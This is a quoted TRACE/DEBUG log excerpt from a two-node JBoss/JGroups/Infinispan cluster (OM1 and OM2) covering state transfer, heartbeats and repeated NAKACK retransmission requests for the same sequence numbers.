> 2013-08-30 09:49:27,432 TRACE [UDP] (Incoming-5,null) sending msg to OM2:1299, src=OM1:1299, headers are STREAMING_STATE_TRANSFER: type=STATE_RSP, sender=OM1:1299 id=0, UNICAST: DATA, seqno=9, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,432 TRACE [UDP] (Incoming-7,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=9, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,432 TRACE [UNICAST] (Incoming-7,null) OM1:1299 <-- ACK(OM2:1299: #9)
> 2013-08-30 09:49:27,432 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER server socket acceptor,om-agent-om-fence-HAPartition,OM1:1299) StateProviderThreadSpawner listening at 192.168.1.200:50258...
> 2013-08-30 09:49:27,432 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Accepted request for state transfer from /192.168.1.201:63701 handing of to PooledExecutor thread
> 2013-08-30 09:49:27,432 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Running on Thread[STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299,5,JGroups]. Accepted request for state transfer from /192.168.1.201:63701, original buffer size was 8192 and was reset to 8192, passing outputstream up... 
> 2013-08-30 09:49:27,651 DEBUG [StateTransferManagerImpl] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Generating state.  Can provide? true
> 2013-08-30 09:49:27,651 DEBUG [StateTransferManagerImpl] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Writing 2 StoredEntries to stream
> 2013-08-30 09:49:27,651 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=9 bytes, flags=OOB|DONT_BUNDLE|NO_FC], headers are RequestCorrelator: id=201, type=REQ, id=8, rsp_expected=true, UNICAST: DATA, seqno=8, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,651 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM2:1299: #8)
> 2013-08-30 09:49:27,651 TRACE [RequestCorrelator] (OOB-20,null) calling (org.infinispan.remoting.transport.jgroups.CommandAwareRpcDispatcher) with request 8
> 2013-08-30 09:49:27,651 TRACE [RequestCorrelator] (OOB-20,null) sending rsp for 8 to OM2:1299
> 2013-08-30 09:49:27,651 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> DATA(OM2:1299: #10, conn_id=1)
> 2013-08-30 09:49:27,651 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are RequestCorrelator: id=201, type=RSP, id=8, rsp_expected=false, UNICAST: DATA, seqno=10, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,666 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM2:1299: #8)
> 2013-08-30 09:49:27,666 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=8, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,666 DEBUG [StateTransferManagerImpl] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) State generated, closing object stream
> 2013-08-30 09:49:27,666 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) State writer is closing the socket 
> 2013-08-30 09:49:27,666 TRACE [UDP] (Incoming-8,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=10, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,666 TRACE [UNICAST] (Incoming-8,null) OM1:1299 <-- ACK(OM2:1299: #10)
> 2013-08-30 09:49:27,666 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=9 bytes, flags=OOB|DONT_BUNDLE|NO_FC], headers are RequestCorrelator: id=201, type=REQ, id=9, rsp_expected=true, UNICAST: DATA, seqno=9, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,666 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM2:1299: #9)
> 2013-08-30 09:49:27,666 TRACE [RequestCorrelator] (OOB-20,null) calling (org.infinispan.remoting.transport.jgroups.CommandAwareRpcDispatcher) with request 9
> 2013-08-30 09:49:27,666 TRACE [RequestCorrelator] (OOB-20,null) sending rsp for 9 to OM2:1299
> 2013-08-30 09:49:27,666 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> DATA(OM2:1299: #11, conn_id=1)
> 2013-08-30 09:49:27,666 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are RequestCorrelator: id=201, type=RSP, id=9, rsp_expected=false, UNICAST: DATA, seqno=11, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,666 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM2:1299: #9)
> 2013-08-30 09:49:27,666 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=9, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,666 TRACE [UDP] (Incoming-10,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=11, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,666 TRACE [UNICAST] (Incoming-10,null) OM1:1299 <-- ACK(OM2:1299: #11)
> 2013-08-30 09:49:32,814 TRACE [NAKACK] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) sending OM1:1299#8
> 2013-08-30 09:49:32,814 TRACE [UDP] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) sending msg to null, src=OM1:1299, headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=2, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=8], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,814 TRACE [UDP] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) looping back message [dst: <null>, src: OM1:1299 (4 headers), size=354 bytes]
> 2013-08-30 09:49:32,830 TRACE [UDP] (Incoming-9,null) received [dst: <null>, src: OM1:1299 (4 headers), size=354 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=2, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=8], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,830 TRACE [NAKACK] (Incoming-9,null) OM1:1299: received OM1:1299#8
> 2013-08-30 09:49:32,830 TRACE [UDP] (Incoming-11,null) received [dst: <null>, src: OM1:1299 (4 headers), size=354 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=2, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=8], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,830 TRACE [MFC] (Incoming-9,null) OM1:1299 used 354 credits, 1999646 remaining
> 2013-08-30 09:49:32,845 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (4 headers), size=1024 bytes, flags=OOB|DONT_BUNDLE], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=RSP, id=2, rsp_expected=false, UNICAST: DATA, seqno=10, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,845 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM2:1299: #10)
> 2013-08-30 09:49:32,845 TRACE [UFC] (OOB-20,null) OM2:1299 used 1024 credits, 1998976 remaining
> 2013-08-30 09:49:32,845 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM2:1299: #10)
> 2013-08-30 09:49:32,845 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=10, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,861 TRACE [NAKACK] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) sending OM1:1299#9
> 2013-08-30 09:49:32,861 TRACE [UDP] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) sending msg to null, src=OM1:1299, headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=3, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=9], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,861 TRACE [UDP] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) looping back message [dst: <null>, src: OM1:1299 (4 headers), size=1463 bytes]
> 2013-08-30 09:49:32,861 TRACE [UDP] (Incoming-12,null) received [dst: <null>, src: OM1:1299 (4 headers), size=1463 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=3, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=9], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,861 TRACE [NAKACK] (Incoming-12,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:32,861 TRACE [UDP] (Incoming-13,null) received [dst: <null>, src: OM1:1299 (4 headers), size=1463 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=3, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=9], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,861 TRACE [MFC] (Incoming-12,null) OM1:1299 used 1463 credits, 1998183 remaining
> 2013-08-30 09:49:34,187 TRACE [NAKACK] (Timer-4,<ADDR>) sending OM1:1299#10
> 2013-08-30 09:49:34,187 TRACE [UDP] (Timer-4,<ADDR>) sending msg to null, src=OM1:1299, headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=10], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:34,187 TRACE [UDP] (Timer-4,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:49:34,187 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=10], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:34,187 TRACE [NAKACK] (OOB-20,null) OM1:1299: received OM1:1299#10
> 2013-08-30 09:49:34,187 TRACE [VIEW_SYNC] (OOB-20,null) view from OM1:1299 ([OM1:1299|1]) is same as my own view; ignoring
> 2013-08-30 09:49:34,187 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=10], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:34,515 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:34,515 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:34,515 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:34,515 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:34,515 TRACE [UDP] (Incoming-14,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:34,515 TRACE [NAKACK] (Incoming-14,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:34,515 TRACE [UDP] (Incoming-14,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,123 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,123 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:35,123 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,123 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:35,123 TRACE [UDP] (Incoming-16,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,123 TRACE [NAKACK] (Incoming-16,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:35,123 TRACE [UDP] (Incoming-16,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,544 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABLE_GOSSIP]: digest is OM2:1299: [0 : 7 (7)], OM1:1299: [1 : 8 (10)], NAKACK: [MSG, seqno=8], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,544 TRACE [NAKACK] (OOB-19,null) OM1:1299: received OM2:1299#8
> 2013-08-30 09:49:35,544 TRACE [Retransmitter] (OOB-19,null) added range OM2:1299 [7]
> 2013-08-30 09:49:35,544 TRACE [STABLE] (OOB-19,null) OM1:1299: handling digest from OM2:1299 (0 votes):
> mine:   [OM1:1299#6, OM2:1299#0]
> other:  [OM1:1299#8, OM2:1299#7]
> result: [OM1:1299#6, OM2:1299#0]
> 2013-08-30 09:49:35,856 DEBUG [FD] (Timer-3,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
> 2013-08-30 09:49:35,856 TRACE [UDP] (Timer-3,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,856 TRACE [NAKACK] (Timer-5,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:35,856 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,856 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:36,137 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:36,137 TRACE [FD] (OOB-19,null) received are-you-alive from OM2:1299, sending response
> 2013-08-30 09:49:36,137 TRACE [UDP] (OOB-19,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:36,340 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:36,340 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:36,340 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:36,340 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:36,340 TRACE [UDP] (Incoming-18,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:36,340 TRACE [NAKACK] (Incoming-18,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:36,340 TRACE [UDP] (Incoming-18,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:36,465 TRACE [NAKACK] (Timer-2,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:36,465 TRACE [UDP] (Timer-2,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:37,666 TRACE [NAKACK] (Timer-4,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:37,666 TRACE [UDP] (Timer-4,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:38,742 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:38,742 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:38,742 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:38,742 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:38,742 TRACE [UDP] (Incoming-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:38,742 TRACE [NAKACK] (Incoming-20,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:38,742 TRACE [UDP] (Incoming-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:40,068 TRACE [NAKACK] (Timer-5,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:40,068 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:43,547 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:43,547 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:43,547 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:43,547 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:43,547 TRACE [UDP] (Incoming-1,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:43,547 TRACE [NAKACK] (Incoming-1,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:43,547 TRACE [UDP] (Incoming-1,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:44,218 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=9], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:44,218 TRACE [NAKACK] (OOB-19,null) OM1:1299: received OM2:1299#9
> 2013-08-30 09:49:44,218 TRACE [VIEW_SYNC] (OOB-19,null) view from OM2:1299 ([OM1:1299|1]) is same as my own view; ignoring
> 2013-08-30 09:49:44,873 TRACE [NAKACK] (Timer-2,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:44,873 TRACE [UDP] (Timer-2,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:45,872 DEBUG [FD] (Timer-4,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
> 2013-08-30 09:49:45,872 TRACE [UDP] (Timer-4,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:45,872 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:46,152 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:46,152 TRACE [FD] (OOB-19,null) received are-you-alive from OM2:1299, sending response
> 2013-08-30 09:49:46,152 TRACE [UDP] (OOB-19,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:48,149 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=10], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:48,149 TRACE [NAKACK] (OOB-19,null) OM1:1299: received OM2:1299#10
> 2013-08-30 09:49:48,149 TRACE [VIEW_SYNC] (OOB-19,null) view from OM2:1299 ([OM1:1299|1]) is same as my own view; ignoring
> 2013-08-30 09:49:48,352 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:48,352 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:48,352 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:48,352 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:48,352 TRACE [UDP] (Incoming-3,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:48,352 TRACE [UDP] (Incoming-6,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:48,352 TRACE [NAKACK] (Incoming-3,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:49,678 TRACE [NAKACK] (Timer-3,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:49,678 TRACE [UDP] (Timer-3,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:52,673 DEBUG [arjuna] (Periodic Recovery) PeriodicRecovery: background thread Status <== SCANNING
> 2013-08-30 09:49:52,673 DEBUG [arjuna] (Periodic Recovery) PeriodicRecovery: background thread scanning
> 2013-08-30 09:49:52,673 DEBUG [arjuna] (Periodic Recovery) Periodic recovery first pass at Fri, 30 Aug 2013 09:49:52
> 2013-08-30 09:49:52,673 DEBUG [arjuna] (Periodic Recovery) AtomicActionRecoveryModule first pass
> 2013-08-30 09:49:52,673 DEBUG [arjuna] (Periodic Recovery) processing /StateManager/BasicAction/TwoPhaseCoordinator/AtomicAction transactions
> 2013-08-30 09:49:52,673 DEBUG [arjuna] (Periodic Recovery)  
> 2013-08-30 09:49:52,673 DEBUG [txoj] (Periodic Recovery) TORecoveryModule - first pass
> 2013-08-30 09:49:52,689 DEBUG [arjuna] (Periodic Recovery)  
> 2013-08-30 09:49:52,689 DEBUG [jta] (Periodic Recovery) Local XARecoveryModule - first pass
> 2013-08-30 09:49:52,689 DEBUG [arjuna] (Periodic Recovery)  
> 2013-08-30 09:49:53,157 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:53,157 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:53,157 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:53,157 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:53,157 TRACE [UDP] (Incoming-7,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:53,157 TRACE [UDP] (Incoming-5,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:53,157 TRACE [NAKACK] (Incoming-5,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:54,483 TRACE [NAKACK] (Timer-5,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:54,483 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:55,887 DEBUG [FD] (Timer-2,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
> 2013-08-30 09:49:55,887 TRACE [UDP] (Timer-2,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
